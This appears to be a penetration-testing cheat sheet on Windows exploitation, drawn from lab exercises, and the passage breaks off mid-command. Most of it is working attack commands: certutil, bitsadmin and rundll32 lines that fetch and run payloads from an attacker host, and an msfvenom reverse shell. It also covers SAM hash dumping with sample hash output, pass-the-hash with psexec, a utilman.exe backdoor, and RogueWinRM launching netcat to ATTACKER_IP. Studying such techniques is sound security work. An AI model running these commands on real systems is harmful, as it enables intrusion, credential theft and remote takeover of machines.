# 2. Windows Exploitation ## LOLBAS **L**iving **O**ff the **L**and **B**inaries **A**nd **S**cripts Uses Microsoft-signed and built-in tools used as Living Off the Land techniques, including binaries, scripts, and libraries. [https://lolbas-project.github.io/#](https://lolbas-project.github.io) ## Downloading files to the Victim Machine ### iwr ``` iwr -uri http://192.168.12.10 -outfile file ``` ### Certutil {% code overflow="wrap" %} ```bash certutil -URLcache -split -f http://Attacker_IP/payload.exe C:\\Windows\\Temp\\payload.exe ``` {% endcode %} ### BITSAdmin {% code overflow="wrap" %} ```bash C:\\Users\\thm>bitsadmin.exe /transfer /Download /priority Foreground http://Attacker_IP/payload.exe c:\\Users\\thm\\Desktop\\payload.exe ``` {% endcode %} ### FindStr {% code overflow="wrap" %} ```bash C:\\Users\\thm>findstr /V dummystring \\\\MachineName\\ShareFolder\\test.exe > c:\\Windows\\Temp\\test.exe ``` {% endcode %} ### Invoke-WebRequest ``` Invoke-WebRequest $myDownloadUrl -OutFile c:\file.ext ``` ## Executing Files ### explorer.exe * C:\Windows\explorer.exe * C:\Windows\SysWOW64\explorer.exe {% code overflow="wrap" %} ```bash C:\\Users\\thm> explorer.exe /root,"C:\\Windows\\System32\\calc.exe" ``` {% endcode %} ### wmic ```bash C:\\Users\\thm>wmic.exe process call create calc ``` ### Rundll32 * C:\Windows\System32\rundll32.exe * C:\Windows\SysWOW64\rundll32.exe {% code overflow="wrap" %} ```bash C:\\Users\\thm> rundll32.exe javascript:"\\..\\mshtml,RunHTMLApplication ";document.write();new%20ActiveXObject("WScript.Shell").Run("powershell -nop -exec bypass -c IEX (New-Object Net.WebClient).DownloadString('http://AttackBox_IP/script.ps1');"); ``` {% endcode %} ## Bypassing Application Whitelists ### Regsvr32 regsvr32.exe binary can also be used to execute arbitrary binaries and bypass the Windows Application Whitelisting * C:\Windows\System32\regsvr32.exe * C:\Windows\SysWOW64\regsvr32.exe ```bash C:\\Users\\thm> c:\\Windows\\System32\\regsvr32.exe c:\\Users\\thm\\Downloads\\live0fftheland.dll C:\\Users\\thm> c:\\Windows\\System32\\regsvr32.exe /s /n /u /i: Downloads\\live0fftheland.dll ``` ### Bash If the machine has WSL installed, we can execute `bash.exe -c "path-to-payload"` to run any unsigned payload. ## No PowerShell PowerLessShell is a Python-based tool that generates malicious code to run on a target machine without showing an instance of the PowerShell process. PowerLessShell relies on abusing the Microsoft Build Engine (MSBuild), a platform for building Windows applications, to execute remote code. ```bash user@machine$ git clone ``` ```bash user@machine$ python2 PowerLessShell.py -type powershell -source /tmp/liv0ff.ps1 -output liv0ff.csproj ``` ## Spawning an admin shell ### msfvenom If we can execute command with admin privileges, we can use `msfvenom` to generate a reverse shell, upload it to the victim and execute it. {% code overflow="wrap" %} ```bash $ msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.2 LPORT=53 -f exe -o rev.exe ``` {% endcode %} This reverse shell can be caught using `netcat` or metasploit’s `multi/handler` ### RDP * If RDP is available we can add a low privileged user to the `Administrator` group and spawn an admin prompt via the GUI ```bash > net localgroup administrator eviluser /add ``` ### Connecting from Kali to Windows {% code overflow="wrap" %} ```powershell $ winexe -U 'admin%password123' //192.168.1.2 cmd.exe $ winexe -U 'admin%password123' --system //192.168.1.2 cmd.exe # if the user is admin ``` {% endcode %} ### Escalating from Admin to System To escalate from `Administator` user to `SYSTEM` user, we can use `PsExec` tool from Windows Sysinternals ```bash > .\\PsExec64.exe -accepteula -i -s C:\\PrivEsc\\rev.exe ``` ## Checking Files Like Linux, Windows files has permissions. We can check them with `icacls` ```bash C:\\> icacls c:\\tasks\\schtask.bat c:\\tasks\\schtask.bat NT AUTHORITY\\SYSTEM:(I)(F) BUILTIN\\Administrators:(I)(F) BUILTIN\\Users:(I)(F) ``` * **F** - Full access * **M** Modify access * **RX** - Read and execute access * **R** - Read-only access * **W** - Write-only access ## Privilege Escalation ### Abusing Group Membership #### Account Operators * Allows creating non administrator accounts and groups on the domain * Allows logging in to the DC locally #### Server Operators This membership allows users to configure Domain Controllers with the following privileges: * Allows logging in to the DC locally * Back up files and directories * Change the system time * Change the time zone * Force shutdown from a remote system * Restore files and directories * Shut down the system #### Backup Operators As with `Server Operators` membership, we can access the `DC01` file system if we belong to `Backup Operators` ### Abusing Privileges Checking your privileges ```bash whoami /priv ``` #### SeBackup/SeRestore The `SeBackup` and `SeRestore` privileges allow users to read and write to any file in the system, ignoring any DACL in place. To backup the SAM and SYSTEM hashes ``` C:\\> reg save hklm\\system C:\\Users\\THMBackup\\system.hive The operation completed successfully. C:\\> reg save hklm\\sam C:\\Users\\THMBackup\\sam.hive The operation completed successfully. ``` Dump the admin hash with impacket {% code overflow="wrap" %} ``` user@attackerpc$ python3.9 /opt/impacket/examples/secretsdump.py -sam sam.hive -system system.hive LOCALImpacket v0.9.24.dev1+20210704.162046.29ad5792 - Copyright 2021 SecureAuth Corporation [*] Target system bootKey: 0x36c8d26ec0df8b23ce63bcefa6e2d821 [*] Dumping local SAM hashes (uid:rid:lmhash:nthash) Administrator:500:aad3b435b51404eeaad3b435b51404ee:13a04cdcf3f7ec41264e568127c5ca94::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: ``` {% endcode %} PTH with impacket {% code overflow="wrap" %} ``` user@attackerpc$ python3.9 /opt/impacket/examples/psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:13a04cdcf3f7ec41264e568127c5ca94 administrator@10.10.4.105Impacket v0.9.24.dev1+20210704.162046.29ad5792 - Copyright 2021 SecureAuth Corporation ``` {% endcode %} #### SeTakeOwnership The `SeTakeOwnership` privilege allows a user to take ownership of any object on the system, including files and registry keys {% code overflow="wrap" %} ```bash C:\\> takeown /f C:\\Windows\\System32\\Utilman.exe SUCCESS: The file (or folder): "C:\\Windows\\System32\\Utilman.exe" now owned by user "WINPRIVESC2\\thmtakeownership". ``` {% endcode %} Being the owner of a file doesn't necessarily mean that you have privileges over it, but being the owner you can assign yourself any privileges you need. To give your user full permissions over utilman.exe you can use the following command: ``` C:\\> icacls C:\\Windows\\System32\\Utilman.exe /grant THMTakeOwnership:F processed file: Utilman.exe Successfully processed 1 files; Failed processing 0 files ``` After this, we will replace utilman.exe with a copy of cmd.exe: ``` C:\\Windows\\System32\\> copy cmd.exe utilman.exe 1 file(s) copied. ``` Trigger `utilman` by locking the screen, and clicking on `Ease of Access` #### SeImpersonate/SeAssignPrimaryToken These privileges allow a process to impersonate other users and act on their behalf. Impersonation usually consists of being able to spawn a process or thread under the security context of another user. If we manage to take control of a process with `SeImpersonate` or `SeAssignPrimaryToken` privileges, we can impersonate any user connecting and authenticating to that process. `LOCAL SERVICE` and `NETWORK SERVICE ACCOUNTS` already have such privileges. 1. Spawn a process so that users can connect and authenticate to it for impersonation to occur. 2. Find a way to force privileged users to connect and authenticate to the spawned malicious process. Use `RogueWinRM` exploit to accomplish both conditions. If WinRM service isn't running on the victim server, an attacker can start a fake WinRM service on port 5985 and catch the authentication attempt made by the BITS service when starting. If the connecting account has `SeImpersonate` privileges, he can execute any command on behalf of the connecting user, which is SYSTEM. Starting RogueWinRM {% code overflow="wrap" %} ```bash c:\\tools\\RogueWinRM\\RogueWinRM.exe -p "C:\\tools\\nc64.exe" -a "-e cmd.exe ATTACKER_IP 4442" ``` {% endcode %} ### Service Exploits #### Insecure Service Properties If services they are being run with `SYSTEM` level privileges and are misconfigured, we can try to exploit them ```powershell > sc.exe qc # query the configuration of the service > sc.exe query # query the status of the service > sc.exe config